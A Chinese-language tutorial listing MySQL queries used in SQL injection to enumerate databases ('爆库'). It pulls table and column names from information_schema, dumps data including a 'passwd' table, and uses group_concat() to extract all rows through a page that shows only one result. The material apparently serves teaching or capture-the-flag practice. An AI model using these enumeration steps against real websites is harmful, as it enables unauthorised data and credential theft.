SQL注入常用爆库语句整理

SQL注入常用爆库语句整理

省流概要

-- 查看表名(示例结果:student, user, passwd)
select group_concat(table_name) from information_schema.tables where table_schema=database();

-- 查看列名(以passwd表为例,示例结果:value, hashValue)
select group_concat(column_name) from information_schema.columns where table_name="passwd";

-- 查看表中数据(以passwd表的value列为例)
select group_concat(value) from passwd;

核心数据库:information_schema

information_schema 是 MySQL 内置的系统数据库,存储了整个 MySQL 实例的元数据信息,包括所有数据库名、表名、列名、数据类型等关键信息,是 SQL 注入爆库的核心依赖。

其中最常用的两个表:

1. tables 表(存储所有表信息)

重要列名 说明
table_name 表的名称
table_schema 表所属的数据库名称

查询示例(查看 my_data 数据库下的所有表):

select table_schema, table_name from information_schema.tables where table_schema='my_data';

查询结果

TABLE_SCHEMA TABLE_NAME
my_data course
my_data SC
my_data student
my_data teacher

2. columns 表(存储所有列信息)

重要列名 说明
column_name 列的名称
table_name 列所属的表名称
table_schema 列所属的数据库名称
data_type 列的数据类型

查询示例(查看 my_data 数据库下所有表的列信息):

select column_name, table_name, table_schema, data_type from information_schema.columns where table_schema='my_data';

查询结果

COLUMN_NAME TABLE_NAME TABLE_SCHEMA DATA_TYPE
cid course my_data varchar
cname course my_data varchar
tid course my_data varchar
sid SC my_data varchar
cid SC my_data varchar
score SC my_data decimal
sid student my_data varchar
sname student my_data varchar
sage student my_data datetime
ssex student my_data varchar
tid teacher my_data varchar
tname teacher my_data varchar

爆库基本流程

1. 爆当前数据库名和版本

通过内置函数获取关键环境信息,为后续爆库铺路:

select database(), version();
  • database():返回当前正在使用的数据库名
  • version():返回 MySQL 数据库版本号

查询示例结果

database() version()
information_schema 8.0.22

2. 爆表名

从 information_schema.tables 表中查询目标数据库下的所有表名,两种常用写法:

-- 写法1:直接使用当前数据库(推荐,无需手动输入数据库名)
select table_name from information_schema.tables where table_schema=database();

-- 写法2:指定已知的数据库名(需替换为步骤1查询到的数据库名)
select table_name from information_schema.tables where table_schema='my_data';

查询示例结果

TABLE_NAME
course
SC
student
teacher

3. 爆列名

从 information_schema.columns 表中查询目标表的所有列名(以 student 表为例):

select column_name from information_schema.columns where table_schema=database() and table_name='student';
  • 注意:table_name 的值必须用单引号 ' 括起来
  • 条件说明:table_schema=database() 限定当前数据库,table_name='student' 限定目标表

查询示例结果

COLUMN_NAME
sid
sname
sage
ssex

4. 查看表中具体数据

已知表名和列名后,直接查询数据(以 student 表的 sname 列为例):

select sname from student;

查询示例结果

sname
赵钱孙李
周吴郑王
雷电风云
梅兰竹菊
王铁柱

5. 关键函数:group_concat()

问题:网页通常只展示查询结果的第一行,无法获取全部数据。
解决:使用 group_concat() 函数将所有结果拼接成一个字符串(用逗号分隔),一次性获取完整数据。

常用示例

-- 拼接所有表名
select group_concat(table_name) from information_schema.tables where table_schema=database();

-- 拼接 student 表的所有列名
select group_concat(column_name) from information_schema.columns where table_name='student';

-- 拼接 student 表的所有 sname 值
select group_concat(sname) from student;